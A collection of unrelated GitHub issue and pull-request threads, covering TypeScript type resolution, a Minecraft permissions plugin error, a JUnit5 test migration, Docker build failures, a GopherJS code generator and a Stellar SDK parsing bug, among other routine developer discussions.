File 'F:/work/projects/quini/GitHub/vitesse-with-ts-4.5/node_modules/unplugin-icons/package.json' exists according to earlier cached lookups.
Export specifier './types/vue' does not exist in package.json scope at path 'F:/work/projects/quini/GitHub/vitesse-with-ts-4.5/node_modules/unplugin-icons'.
Directory 'F:/work/projects/quini/GitHub/node_modules' does not exist, skipping all lookups in it.
Directory 'F:/work/projects/quini/node_modules' does not exist, skipping all lookups in it.
Directory 'F:/work/projects/node_modules' does not exist, skipping all lookups in it.
Directory 'F:/work/node_modules' does not exist, skipping all lookups in it.
Directory 'F:/node_modules' does not exist, skipping all lookups in it.
======== Type reference directive 'unplugin-icons/types/vue' was not resolved. ========

Clone the repo here https://github.com/userquin/vitesse-with-ts-4.5 and run pnpm install && tsc --traceResolution > ts-traceres.txt, you will get this error (see it at hte bottom of the txt file). It will generate all js for each ts module:
error TS2688: Cannot find type definition file for 'unplugin-icons/types/vue'.
  The file is in the program because:
    Entry point of type library 'unplugin-icons/types/vue' specified in compilerOptions
error TS2688: Cannot find type definition file for 'vite-plugin-pages/client'.
  The file is in the program because:
    Entry point of type library 'vite-plugin-pages/client' specified in compilerOptions

This might be similar issue to https://github.com/hannoeru/vite-plugin-pages/issues/118

uhmmm, I'll take a look later

Any updates on this? Have the same error but with unplugin-icons/types/react
error TS2688: Cannot find type definition file for 'unplugin-icons/types/react'.
  The file is in the program because:
    Entry point of type library 'unplugin-icons/types/react' specified in compilerOptions

  tsconfig.json:20:13
    20             "unplugin-icons/types/react"
                   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    File is entry point of type library specified here.

suh dudes. go to <your node_modules store>/unplugin-icons/package.json and add something like this on line 41:
"./types/react": {
  "types": "./types/react.d.ts"
},

see #129


[Automation] Generate Fluent Lite from TypeSpec devopsinfrastructure

[Automation] Generate Fluent Lite from TypeSpec devopsinfrastructure

API change check
APIView has identified API level changes in this PR and created following API reviews.
com.azure.resourcemanager:azure-resourcemanager-devopsinfrastructure


[LP] Permission Data Could Not Be Loaded. Please Contact An Administrator.

[LOG] Disconnecting com.mojang.authlib.GameProfile@47b2678d[id=2e48bffa-2617-3052-b445-0936e3c23c1d,name=DiscoDuck,properties={},legacy=false] (/<IP_ADDRESS>:61087): §7§l[§b§lL§3§lP§7§l] §cPermissions data could not be loaded. Please contact an administrator.
I am using 3.0.0 luckperms on bukkit. Everytime I try to join I get this error.  I have seen similar issues like this around but I could never find a solution to fixing the issue. Please help as soon as possible.
-DiscoDuck

Can you try updating to the latest dev build, and then pastebin your full log file.

Oh I seemed to have fixed it. I was running it on an outdated bukkit server and when I downloaded the latest server it worked.


[NEMO-317] Optimize triggering logic in GroupByKeyAndWindowDoFnTransform

JIRA: NEMO-317: Optimize triggering logic in GroupByKeyAndWindowDoFnTransform
Major changes:

Create NemoTimerInternals that adds timer data to the shared data structures of ContextForTimer.
Remove timers from ContextForTimer and trigger them, instead of iterating all keys.

Maybe close this for now and re-open it later?

I will reopen this issue later


As a computer science student, I want to be able to see all the current assignments that I have added

I want to be able to see all the current assignments that I have added

list-a


Add license automated check in Travis

There should be an automated test to check that all source code in the project has the SPDX Identifier, and, in case of third_party tools, that the LICENSE file is present.
This script can be used and changed accordingly to the source file-types by adding/removing the correct extensions

This has been done. Closing.

This was done by https://github.com/SymbiFlow/prjxray/pull/1301


disable compatibility tests

/canary

:broken_heart: Test Failed - ci-test

Do we want to disable compat tests entirely AKA: LBT or we still want to run perf test?
Because those two flags only indicate which test suite will run: compat test or perf test

could you please modify the line of command to run perf test: https://github.com/diem/diem/blob/1ed0119f636f2c8fb79d9a082207c94e1bfa086a/.github/workflows/ci-test.yml#L1158 to
cmd="./scripts/fgi/run --tag ${{ needs.build-images.outputs.head-tag }} --suite land_blocking --report forge_report.json"

with flag --report forge_report.json to indicate the output to save test result?

we still want to run the perf tests, we're only shutting off the compat tests

/canary

:sunny: Canary successful

/land


[Simplify PyFlask III]: remove setupUtils and unused startup endpoint(s)

Do we still need the echo endpoint in 'startup'? Do we ever use it? If not we can get rid of that sub namespace completely

We do use it for checking if the Python server is actually started. We could simply maintain a variable in the main Electron process and pass this on completion—but actually getting a request to pass is the most foolproof method.

Ohhh right you are: https://github.com/NeurodataWithoutBorders/nwb-guide/blob/ea8fa6fc09112a99cad305b9e5a32af87695951c/src/renderer/src/index.ts#L128-L134
OK fine to keep then

The alternative approach may actually allow us to catch a failed Python server rather than simply waiting for a timeout. Would we want to pursue that approach or nah?

We could always send the echo request when notified to double-check.

I defer to you on the approaches that might be best for detecting such an event
In general I don't mind doing all of them, or as many as are useful for detecting different points of failure
My general approach right now is also just to massively simplify what is required to run the Flask server itself as opposed to the question of what is required to operate individual endpoint commands

Okay sounds good. Will file this away as a possible improvement for later.

Implemented on #301 to Implemented on #301 to help with debugging the Mac and other builds.

@garrettmflynn Sorry, need re-approval on this. I've disabled the stale dismission moving forward


Automated cherry pick of #6050: feature: make baremetal options managed by service config

Cherry pick of #6050 on release/3.2.
#6050: feature: make baremetal options managed by service config

Codecov Report

Merging #6051 into release/3.2 will decrease coverage by 0.00%.
The diff coverage is 0.00%.

@@               Coverage Diff               @@
##           release/3.2    #6051      +/-   ##
===============================================
- Coverage         7.02%    7.02%   -0.01%
===============================================
  Files              644      644
  Lines           110421   110463      +42
===============================================
  Hits              7756     7756
- Misses          102066   102108      +42
  Partials           599      599

Flag
Coverage Δ

#aFlag
7.02% <0.00%> (-0.01%)
:arrow_down:

Impacted Files
Coverage Δ

pkg/cloudcommon/db/fetch.go
0.00% <0.00%> (ø)

pkg/cloudcommon/db/opslog.go
1.50% <0.00%> (-0.16%)
:arrow_down:

pkg/cloudcommon/db/owner.go
7.40% <0.00%> (-2.60%)
:arrow_down:

pkg/compute/models/guestnetworks.go
0.17% <0.00%> (-0.01%)
:arrow_down:

pkg/compute/models/guests.go
0.56% <ø> (ø)

pkg/compute/models/hosts.go
0.31% <0.00%> (-0.01%)
:arrow_down:

pkg/compute/models/vpcs_mapped_address.go
0.00% <0.00%> (ø)

pkg/multicloud/aws/loadbalancerbackendgroup.go
0.00% <0.00%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 3d0e842...6d263c3. Read the comment docs.


[queue] tarantool-php/queue

https://github.com/tarantool-php/queue

Can you rebase this onto master?

@josegonzalez Done.

Shit, can you also put it in the right alphabetical order? Sorry for not mentioning that :(

Fixed.

My cat approves.

Thanks! ;)


Migrate referenceTests to Junit5

PR description
More Junit5 migrations.
This PR moves referenceTests classes into its own sourceSet so they can be migrated independently from the unit tests. As a consequence, explicit .class inclusions/exclusions from test tasks have been removed
Documentation

[x] I thought about documentation and added the doc-change-required label to this PR if
updates are required.

Changelog

[x] I thought about the changelog and included a changelog update if required.

This patch currently does not work  I downloaded the patch and ran ./gradlew clean; ./gradlew install; ./gradlew referenceTests.  None of the reference tests from the ethereum submodule ran.  I ran git submodule update --init --recursive.  The build finished again.  However none of the submodule tests ran.

I would expect the build to fail if the reference tests submodule has not been updated or does not exist yet
I would expect the build to fail if only the tests in the non-submodule were generated. Only the 5 tests used for test testing were generated and executed.

This second issue may have been a gradle cache issue or an intellij issue, however that feeds into my general distrust of moving large directories around to non-standard places.  A full clean and intellij restart fixed it.  If there is a migration process it needs to be socialized to all the maintainers.

@shemnon I changed the name of the task from referenceTest to referenceTests to match the existing CI. To try your workflow, these were my steps
$ git clone git@github.com:hyperledger/besu.git
$ cd besu
$ curl -L https://github.com/hyperledger/besu/pull/3850.patch | git apply --index
$ git submodule update --init --recursive
$ ./gradlew clean
$ ./gradlew referenceTests

and they ran fine.
At some point I applied the patch without the --index flag (important, so git is able to handle the submodule move properly) and when I tried to run ./gradlew referenceTests I got the expected error for when the reference tests are missing
> Task :ethereum:referencetests:referenceTest FAILED

FAILURE: Build failed with an exception.

* Where:
Build file '/Users/diegoll/dev/upstream/besu/ethereum/referencetests/build.gradle' line: 111

* What went wrong:
Execution failed for task ':ethereum:referencetests:referenceTest'.
> ethereum/referencetest/src/reference-test/external-resources/README.md missing: please clone submodules (git submodule update --init --recursive)

Regarding IntelliJ I didn't have any trouble, but it's good to know that a refresh of the Gradle context solved the situation.
It this was merged the only extra step needed is to run git submodule update --init --recursive in the same way it was needed for #3835

Since we are planning to go to Java 17 in 22.7.0 I was wondering if we should batch together all these changes that break developer workflow into one release.
Is it possible to break apart the changes that don't involve moving the submodule from the changes that do require it?  Does it make 2 useful PRs?

I don't think it would be possible to split this PR in two meaningful ones. The first two commits are splitted just for the sake of the history, and the third one, where I'm moving the submodule, is mandatory for the final migration of just the referenceTests to Junit5.
What's the disturbance that you are experiencing with your developer workflow? I can take a look if there is something I can do to improve the PR to avoid that.
Anyway, if it works better for you, I can keep this branch updated until it's time to release 22.7.0

If we add in a check to ensure that the submodule is present we can bring it in before a quarterly release then.
This sequence would have to fail and the error message would need to have instructions on the git incantations to run (git submodule update --init --recursive I presume)
$ rm -rf besu
$ git clone git@github.com:hyperledger/besu.git
$ cd besu
$ ./gradlew referenceTests

Looks like if I read top down instead of bottom up I would have seen this - https://github.com/hyperledger/besu/pull/3850#issuecomment-1136121619 - which satisfies me.  Let me run it later tonight.  I'll be offline for a bit.

It this was merged the only extra step needed is to run git submodule update --init --recursive in the same way it was needed for #3835

would it make sense to add this to the changelog - is this effectively a breaking change?

It's a developer experience issue, that is documented when the build fails in the error message how to mitigate.  Devs won't be cluless, plus we should announce this in the contributors room when it merges.
So that depends on the audience of the changelog, is it end users or developers or both?

It's a developer experience issue, that is documented when the build fails in the error message how to mitigate. Devs won't be cluless, plus we should announce this in the contributors room when it merges.
So that depends on the audience of the changelog, is it end users or developers or both?

A message in the contributors chat is also good - but ephemeral - if I'm away that week I wouldn't see it - whereas the changelog is a long-lived record. Then again, if the build didn't work a dev would just ask hey what's up with this.
I think what I'm saying is - I'm happy with a message in besu-contributors


Server-side rendering without ASP.NET MVC

Is it possible using React.NET?

Sure! See HtmlHelperExtensions.cs to see how it's hooked up in ASP.NET MVC. You could just call the same methods some other way. In 0dbd639efeb1387b1b82850667953e8fd7e441e7 I added an example showing how to render a React component from within a console application. There's a bit more code than I'd like, but it does work.
Basically, this is the code you need for server-side rendering:
var environment = React.AssemblyRegistration.Container.Resolve<IReactEnvironment>();
var component = environment.CreateComponent("HelloWorld", new { name = "Daniel" });
var html = component.RenderHtml();

You can then use environment.GetInitJavaScript() to get the JavaScript required to initialise all the instantiated components client-side.
Hope that helps :)

Many thanx for the detailed answer, Daniel!
I haven't tried yet, but it looks pretty helpful.


Docker setup broken?

I'm getting this error when running this command docker build -t navgpt2:v1 . from the second option to build with docker. Any chance the docker image can get updated?
> [36/39] RUN pip install --no-cache-dir -r /tmp/requirements.txt:
15.68   error: subprocess-exited-with-error
15.68
15.68   × pip subprocess to install build dependencies did not run successfully.
15.68   │ exit code: 1
15.68   ╰─> [68 lines of output]
15.68       Ignoring numpy: markers 'python_version >= "3.9"' don't match your environment
15.68       Collecting setuptools
15.68         Using cached setuptools-75.1.0-py3-none-any.whl.metadata (6.9 kB)
15.68       Collecting cython<3.0,>=0.25
15.68         Downloading Cython-0.29.37-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl.metadata (3.1 kB)
15.68       Collecting cymem<2.1.0,>=2.0.2
15.68         Downloading cymem-2.0.8-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (8.4 kB)
15.68       Collecting preshed<3.1.0,>=3.0.2
15.68         Downloading preshed-3.0.9-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (2.2 kB)
15.68       Collecting murmurhash<1.1.0,>=0.28.0
15.68         Downloading murmurhash-1.0.10-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (2.0 kB)
15.68       Collecting thinc<8.4.0,>=8.3.0
15.68         Downloading thinc-8.3.2.tar.gz (193 kB)
15.68         Installing build dependencies: started
15.68         Installing build dependencies: finished with status 'error'
15.68         error: subprocess-exited-with-error
15.68
15.68         × pip subprocess to install build dependencies did not run successfully.
15.68         │ exit code: 1
15.68         ╰─> [38 lines of output]
15.68             Ignoring numpy: markers 'python_version >= "3.9"' don't match your environment
15.68             Collecting setuptools
15.68               Using cached setuptools-75.1.0-py3-none-any.whl.metadata (6.9 kB)
15.68             Collecting cython<3.0,>=0.25
15.68               Using cached Cython-0.29.37-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_24_x86_64.whl.metadata (3.1 kB)
15.68             Collecting murmurhash<1.1.0,>=1.0.2
15.68               Using cached murmurhash-1.0.10-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (2.0 kB)
15.68             Collecting cymem<2.1.0,>=2.0.2
15.68               Using cached cymem-2.0.8-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (8.4 kB)
15.68             Collecting preshed<3.1.0,>=3.0.2
15.68               Using cached preshed-3.0.9-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (2.2 kB)
15.68             Collecting blis<1.1.0,>=1.0.0
15.68               Downloading blis-1.0.1.tar.gz (3.6 MB)
15.68                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 3.6/3.6 MB 11.8 MB/s eta 0:00:00
15.68               Installing build dependencies: started
15.68               Installing build dependencies: finished with status 'error'
15.68               error: subprocess-exited-with-error
15.68
15.68               × pip subprocess to install build dependencies did not run successfully.
15.68               │ exit code: 1
15.68               ╰─> [7 lines of output]
15.68                   Collecting setuptools
15.68                     Using cached setuptools-75.1.0-py3-none-any.whl.metadata (6.9 kB)
15.68                   Collecting cython>=0.25
15.68                     Downloading Cython-3.0.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl.metadata (3.2 kB)
15.68                   ERROR: Ignored the following versions that require a different python version: 1.25.0 Requires-Python >=3.9; 1.25.1 Requires-Python >=3.9; 1.25.2 Requires-Python >=3.9; 1.26.0 Requires-Python <3.13,>=3.9; 1.26.1 Requires-Python <3.13,>=3.9; 1.26.2 Requires-Python >=3.9; 1.26.3 Requires-Python >=3.9; 1.26.4 Requires-Python >=3.9; 2.0.0 Requires-Python >=3.9; 2.0.1 Requires-Python >=3.9; 2.0.2 Requires-Python >=3.9; 2.1.0 Requires-Python >=3.10; 2.1.0rc1 Requires-Python >=3.10; 2.1.1 Requires-Python >=3.10; 2.1.2 Requires-Python >=3.10
15.68                   ERROR: Could not find a version that satisfies the requirement numpy<3.0.0,>=2.0.0 (from versions: 1.3.0, 1.4.1, 1.5.0, 1.5.1, 1.6.0, 1.6.1, 1.6.2, 1.7.0, 1.7.1, 1.7.2, 1.8.0, 1.8.1, 1.8.2, 1.9.0, 1.9.1, 1.9.2, 1.9.3, 1.10.0.post2, 1.10.1, 1.10.2, 1.10.4, 1.11.0, 1.11.1, 1.11.2, 1.11.3, 1.12.0, 1.12.1, 1.13.0, 1.13.1, 1.13.3, 1.14.0, 1.14.1, 1.14.2, 1.14.3, 1.14.4, 1.14.5, 1.14.6, 1.15.0, 1.15.1, 1.15.2, 1.15.3, 1.15.4, 1.16.0, 1.16.1, 1.16.2, 1.16.3, 1.16.4, 1.16.5, 1.16.6, 1.17.0, 1.17.1, 1.17.2, 1.17.3, 1.17.4, 1.17.5, 1.18.0, 1.18.1, 1.18.2, 1.18.3, 1.18.4, 1.18.5, 1.19.0, 1.19.1, 1.19.2, 1.19.3, 1.19.4, 1.19.5, 1.20.0, 1.20.1, 1.20.2, 1.20.3, 1.21.0, 1.21.1, 1.21.2, 1.21.3, 1.21.4, 1.21.5, 1.21.6, 1.22.0, 1.22.1, 1.22.2, 1.22.3, 1.22.4, 1.23.0, 1.23.1, 1.23.2, 1.23.3, 1.23.4, 1.23.5, 1.24.0, 1.24.1, 1.24.2, 1.24.3, 1.24.4)
15.68                   ERROR: No matching distribution found for numpy<3.0.0,>=2.0.0
15.68                   [end of output]
15.68
15.68               note: This error originates from a subprocess, and is likely not a problem with pip.
15.68             error: subprocess-exited-with-error
15.68
15.68             × pip subprocess to install build dependencies did not run successfully.
15.68             │ exit code: 1
15.68             ╰─> See above for output.
15.68
15.68             note: This error originates from a subprocess, and is likely not a problem with pip.
15.68             [end of output]
15.68
15.68         note: This error originates from a subprocess, and is likely not a problem with pip.
15.68       error: subprocess-exited-with-error
15.68
15.68       × pip subprocess to install build dependencies did not run successfully.
15.68       │ exit code: 1
15.68       ╰─> See above for output.
15.68
15.68       note: This error originates from a subprocess, and is likely not a problem with pip.
15.68       [end of output]
15.68
15.68   note: This error originates from a subprocess, and is likely not a problem with pip.
15.68 error: subprocess-exited-with-error
15.68
15.68 × pip subprocess to install build dependencies did not run successfully.
15.68 │ exit code: 1
15.68 ╰─> See above for output.
15.68
15.68 note: This error originates from a subprocess, and is likely not a problem with pip.
15.68
15.68 ERROR conda.cli.main_run:execute(125): `conda run /bin/bash -c pip install --no-cache-dir -r /tmp/requirements.txt` failed. (See above for error)

Have u solved the problem? I also encountered the same problem.


feat: Added internationalization with vue i18n

Hello, I'm sending this Pull Request, with the option for those using the project to select the language that best suits the user.
I'm from Brazil, and Chinese is much more complicated for us.
But as I was about to do the integration into English, it includes Portuguese soon, and I hope it is within the requested standard.
Any questions, or changes, just let me know.

Thanks for the correction

Thanks for the correction

Thank you for your submission. I have always wanted to do international functions, but I haven't experienced investment yet. You are so cool。


Singular for package names

This PR renames options package into option and annotations into annotation to be inline with singular in javax.annotation.

@armiol, PTAL. I have not increased the version number because no usages are expected in the timeframe passed since 0.9.2-SNAPSHOT introduction.


Fix: added subRates property to TaxRate datatype

Hi,
I added the missing field subRates in the TaxRate. Could you please have a look? (@jenschude )
Thanks

Hi,
Is there any news about this PR?
Thanks

Sorry for the late answer.
Will release it hopefully also today. Latest tomorrow.

Thanks!!


Initial cut of code generator

First cut of code generator that takes away manual aspects of creating components (i.e. where we need to handle interface requirements)
Update to Travis scripts to include go generate step and final check that git is clean post tests

Remaining TODO items https://github.com/myitcv/gopherjs/wiki/Code-generator-design
Needs to be accompanied by the following update to our Creating a GopherJS React App wiki:

Initial setup
First verify that you can install the reactGen generator and it is on your PATH:
# only if your PATH is not already correct
export PATH=$(dirname $(go list -f '{{.Target}}' github.com/myitcv/gopherjs/cmd/reactGen)):$PATH

go install github.com/myitcv/gopherjs/cmd/reactGen

Then:
reactGen -help

should show you the options to reactGen, something like:
Usage of reactGen:
  -gglog string
        log level; one of info, warning, error, fatal (default "fatal")
  -licenseFile string
        file that contains a license header to be inserted at the top of each generated file

Writing components
Let's assume we want to create a variant on the HelloMessage component:
// File: hello_message.go
package hellomessage

import (
	"github.com/myitcv/gopherjs/react"
)

//go:generate reactGen

// Step 1
// Declare a type that has (at least) an anonymous embedded react.ComponentDef
// (it can have other fields); this type must have the suffix 'Def', which corresponds to
// 'Definition'
//
type HelloMessageDef struct {
	react.ComponentDef
}

// Step 2
// Optionally declare a props type; the naming convention is *Props
//
type HelloMessageProps struct {
	Name string
}

// Step 3
// Optionally declare a state type; the naming convention is *State
//
type HelloMessageState struct {
	count int
}

// Step 4
// Declare a function to create instances of the component. If your component
// requires props to be specified, add this to the function signature. If the
// props are optional, use a props pointer type.
//
// This function must make a call to react.BlessElement with the value that is then
// returned.
//
// Convention is that this function is given the name of the component, HelloMessage
// in this instance. Because this component has props, we also accept these as part
// of the constructor.
//
func HelloMessage(p HelloMessageProps) *HelloMessageDef {
	res := &HelloMessageDef{}

	react.BlessElement(res, p)

	return res
}

// Step 5
// Define a Render method on the component's pointer type
//
func (r *HelloMessageDef) Render() Element {
	return Div(nil,
		S("Hello "+r.Props().Name),
	)
}

Now we run go generate (in the same directory as the component itself) to generate helper methods:
go generate

At this point you are done defining the component. Always re-run go generate after making changes to a component (you might like to setup a watcher to do just this)
You can now optionally implement:

ComponentWillMount()
ComponentDidMount()
ComponentWillReceiveProps(...) (requires hand-spun "generated" code, see gen_*.go files)
GetInitialState() ... (requires hand-spun "generated" code, see gen_*.go files)
ComponentWillUnmount()

not forgetting to re-run go generate after any change.
See the various examples for instances of these methods

@shurcooL want to give this a look?

Sorry, I have too much on my plate at this time, can't do that. :)


include preston version in provenance logs

Previously, no reference to a Preston version could be found in the provenance logs.
I've added a reference to the Zenodo publication doi and bibliographic citation of Preston source code as used by the generation activity. The version information is populated by the version stamped into the Preston jar. For development versions, this would be 0.0.1-SNAPSHOT, for release version, this would be e.g. 0.2.12 .
<https://doi.org/10.5281/zenodo.1410543> <http://www.w3.org/ns/prov#usedBy> <3de48a6d-1c22-4fcb-b72d-b4338e17e54c> .
<https://doi.org/10.5281/zenodo.1410543> <http://www.w3.org/1999/02/22-rdf-syntax-ns#type> <http://purl.org/dc/dcmitype/Software> .
<https://doi.org/10.5281/zenodo.1410543> <http://purl.org/dc/terms/bibliographicCitation> "Jorrit Poelen, Icaro Alzuru, & Michael Elliott. 2019. Preston: a biodiversity dataset tracker (Version 0.0.1-SNAPSHOT) [Software]. Zenodo. http://doi.org/10.5281/zenodo.3334454"@en .

@ialzuru @mielliott Kindly review and close issue if this issue has been solved.

cool, closing.


transfer orange rig development to dev

This is a bit complicated due to different branch histories. I'm going to manually add updates into dev that are useful and came from orangeRigs. Then will try to merge dev to orange rigs.


SQL query: Error

Hello. trying to use baobab but on installing the database this is what i got. how can it be fixed?
thanks
CREATE PROCEDURE Baobab_GENERIC_DropTree (
IN node INTEGER UNSIGNED,
IN update_numbers INTEGER)
LANGUAGE SQL
DETERMINISTIC
MODIFIES SQL DATA
BEGIN
DECLARE drop_tree_id INTEGER UNSIGNED;

MySQL said:
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 10.

I wonder.. was this ever addressed? I too am receiving this using MySQL 5.5.44.


Allow for dynamic enabling/disabling of reporting

This is helpful when using setups like SAM local where iopipe reporting generates a new function (!!) per invocation.
Proposal of an enabled flag in the agent configuration.

@coreylight The python agent has an enabled config option, for similar reasons. It also supports an IOPIPE_ENABLED environment variable. Agree that the node.js should behave as similarly as possible.


ImageTagHelper doesn't work well with other TagHelpers.

Today, ImageTagHelper relies too heavily on it's bound Src attribute which in turn makes interactions with other TagHelpers insufficient. Aka, if another TagHelper modifies output.Attributes["src"] the ImageTagHelper will trump their value instead of use it.
A great fix for this could be a more general change which is: Don't bind Src and Href attributes for Link, Image and Script TagHelpers.

@DamianEdwards

Hmmmm, this sounds familiar.

Would there be a problem consuming the value already encoded? If not we could just ensure that values are not re-encoded.

Talked offline, with @dougbu, this isn't possible today.

Actually, we can complete this partially. Updated issue to reflect change indirection.

Is meant to be closed still?

c3e2e6fa0a8888374e3d05127185cea314622ffb


More group methods

Introduced more group methods (getPollVoters, postPollInGroupFeed, postReplyInGroupFeed, inviteUsersToGroup) and checked all previous ones for errors. Removed _cfuid cookie. Probably my final update on this project, graduated this year so I'll no longer have access to Edsby soon. Godspeed.

@nroize Thanks for this PR, and for all of your hard work on the library these past few years. I, and certainly everyone who uses the library, thoroughly appreciate it :)
Wishing you all the best!!


Refactor FemDesign.Grasshopper.Convert

Many (but not all) of the FemDesign.Grasshopper.Convert methods are marked as internal so there are no simple conversion from rhino geometry to fd geometry right now.
I suggest we refactor the class FemDesign.Grasshopper.Convert.cs

[x] Make the methods public
[ ] Rename all methods to .ToRhino() and .FromRhino() to make it easier. Maybe use Rhino.Geometry.GeometryBase

Originally posted by @xRadne in https://github.com/strusoft/femdesign-api/issues/328#issuecomment-1163210861
Regions
Geometry
Using a single interface-method object IFromRhino(this Rhino.Geometry.GeometryBase geometry)

[x] Vector (Using separate method for points and vectors FdPoint3d FromRhino(this Rhino.Geometry.Point3d point))
[ ] Edge (All OK, except for Polyline and Nurbs curve wich dont have a correcponding type in FemDesign.Geometry.Edge)
[x] CoordinateSystem
[x] Region
[x] RegionGroup

Structure
These objects does not make any sense to have a .FromRhino() method. Only .ToThino()

[ ] Bar
[ ] Cover
[ ] LineLoad
[ ] PointLoad
[ ] PressureLoad
[ ] SurfaceLoad
[x] SlabPart
[x] LineSupport
[x] PointSupport

Testscript in folder 398.
Green successful.
Red Not successful.

@andosca I think this should be included in the 21.2.0 so that it becomes easier to prototype FemDesign scripts in Grasshopper-C# components.
I'm happy to show you and @Marco-Pellegrino the use case for this :)

I actually meant 21.2.0, but sure let's include it with the C# constructors :)

This will be easier after #468

Do you want to merge this to 21.4.0 or wait until everything is finished?

ehy @xRadne
Can you have a look if the code is still working?

This feature is not finished, and I did not test it fully when I started on it. So I don't know if it broke something.
I could have look at this later this week I think.

Rhino and FEM-Design geometry don't always have a 1-1 mapping. This was a non-trivial task. It requires a big refactoring of the geometry in our API.


Rework operand type description

The new description is more fine grained. A simple register allocation is added to test the descriptors.
The register pair support on 32 bit is missing from. I will have to think a method for that first.

I have added some extra comments and minor changes. I think the patch is ready for review.

This patch is quite big now, adds a 1000 lines. Could you review it?

Let me answer to these questions:

The description includes information about the source and destination operands and temporary registers for each byte code. An operand can be register, immediate (only for source operands) or memory location. Forcing allocating temporary registers for source/destination operands is possible. It also describes how source operands can be reused as temporary registers (this destroy the source operand register of course).

It seems to me other engines (like v8) also use a template based model for generating instructions, instead of going down to the assembly instruction level. I suspect the compiler is considerably simpler this way, and the performance loss is small. Shall we go down to instruction level dependency?

I am sorry, I misunderstand your second question. The current register "allocator" is just testing the validity of the descriptors (not fully unfortunately). When the descriptors for all instructions are done, the next step is creating a real register allocator. Would be good to create a better way of testing the descriptors, but it is not easy.

I have renamed the temporary registers. Is there anything to do?


UC5/US4 Access soil data on agricultural land

As a:

agro-supply actor
processor or trader of agricultural commodities
business intermediary bringing together suppliers and buyers of ecosystem services

I want to find & access soil data on predicted soil property distribution (soil health, soil fertility) in grid format (max 100m grid cell) clustered to 5 year periods, with for each grid cell an estimate of its uncertainty
So:

to develop/produce new products and services for the landowner/land manager or farmer;
to develop/produce sustainable and healthy food products for the consumer;
to distribute them (wholesale and retail channels) in a sustainable way;
to offer ecosystem services to potential buyers (consumers, (impact) investors, public authorities, etc).

Extended user story

As agro-supply actor I currently collect all soil information through my clients (landowner, land manager or farmer), but to accelerate my developments of products and services, I need access to a wider database of data, obviously respecting ownership and privacy. As a supplier to the farming-business I would greatly benefit from being able to retrieve soil data quickly and user-friendly.
As processor, trader I currently collect all soil information through my landowner, land manager or farmer and/or my commodity wholesaler. The parcel sheet is often used, but it is usually incomplete. Moreover, I am also interested to benchmark individual results, as it drives my requirements to the agricultural commodities purchased. As a buyer of the output or as an investor in the farming business I would greatly benefit from being able to retrieve soil data quickly and user-friendly.
As retailer, I currently collect all soil information through my processors and wholesalers (and sometimes through some individual landowners, land managers or farmers) as it drives my strive for sustainable, healthy food products while reducing my scope 3 emissions. As a retailer I would greatly benefit from being able to retrieve soil data quickly and user-friendly in order to check/verify/analyse PEF (product sheet) calculations.
As business intermediary, the collection and analysis of data often is a barrier to develop a market for ecosystem services.

Acceptance criteria

[ ] metadata of predicted soil property distribution products should include scale, spatial & temporal extent, usage constraints (max CC-BY), indication of availability of uncertainty, provenance

Comment from meeting on 4th March:

we should focus on the data intermediary perspective and in this sense, this US is similar to UC05-US05.
demonstrability: Belgian company dealing with frozen vegetables and fruits (ARDO) ?

Extracted Requirements:

01.1 - Data Discovery - Query Catalogue: query predicted soil property distribution with their uncertainties (grid data), clustered to 5-year periods
01.1 - Data Discovery - Query Catalogue: info on scale, spatiotemporal resolution, usage constraings, uncertainty, provenance
04 - Download data: access to predicted soil property distribution with their uncertainties
06 - Data quality checks: info on scale, spatiotemporal resolution, usage constraings, uncertainty, provenance
08 - Vocabulary: Complex query required vocabs
10 - Data harmonization: Finding and integrating related datasets from other providers


Data Couldn't Be Read Because it is Missing

I'm trying to fetch the details of an account, but I'm receiving the following error:
failure(error: stellarsdk.HorizonRequestError.parsingResponseFailed(message: "The data couldn’t be read because it is missing."))
My best guess is that I'm somehow making the request on the wrong network, but I really don't have a clue. Here is my code:
Stellar.sdk.accounts.getAccountDetails(accountId: accountId) { (response) -> (Void) in
The Stellar struct looks like this:
public struct Stellar {
    static let sdk = StellarSDK(withHorizonUrl: HorizonServer.url)
    static let network = Network.testnet
}

public struct HorizonServer {
    static let production = "https://horizon.stellar.org"
    static let test = "https://horizon-testnet.stellar.org/"
    static let url = HorizonServer.test
}

hey @p3scobar, that's the error that gets returned by the SDK when the Horizon API returns a 404 when querying for account data, which in my experiences during development, means the account doesn't exist on the network.
Testnet was wiped at the end of February - if you were using an account that you were expecting to still exist and was created before that reset, that might be your issue?
If that's not the problem, post the accountId that you're using so we can have all the details and see what's up.

Thanks for the reply. That doesn't seem to be the issue, because I can view this account on the testnet:
GCDSDSK6AX2M5JJBP44ULV5FNX7MMOPAHSZEDEJWAQJX3OGTKGW7IC27

remove the "/" at the end of your test horizon url and try again pls.

Still the same error.

I dug in here a bit. The / shouldn't have any effect. Checking out the network request and response, testnet actually does respond with the JSON for the account:

The AccountResponse object is failing to parse on line 87 for signers: signers = try values.decode(Array.self, forKey: .signers)
This corresponds to some changes that happened in Horizon 17, which were addressed in this PR.
@p3scobar If you target your pod file to pull from master, you should be able to get around this error until the next version of the SDK is deployed on cocoapods that includes this PR:
pod 'stellar-ios-mac-sdk', :git => 'https://github.com/Soneso/stellar-ios-mac-sdk.git'
Here are my results with your account ID after updating:

Actually - looks like it was deployed in 1.6.0. by @christain-rogobete. You should just be able to update your pod installation and carry on 👍

yes, it works for me too

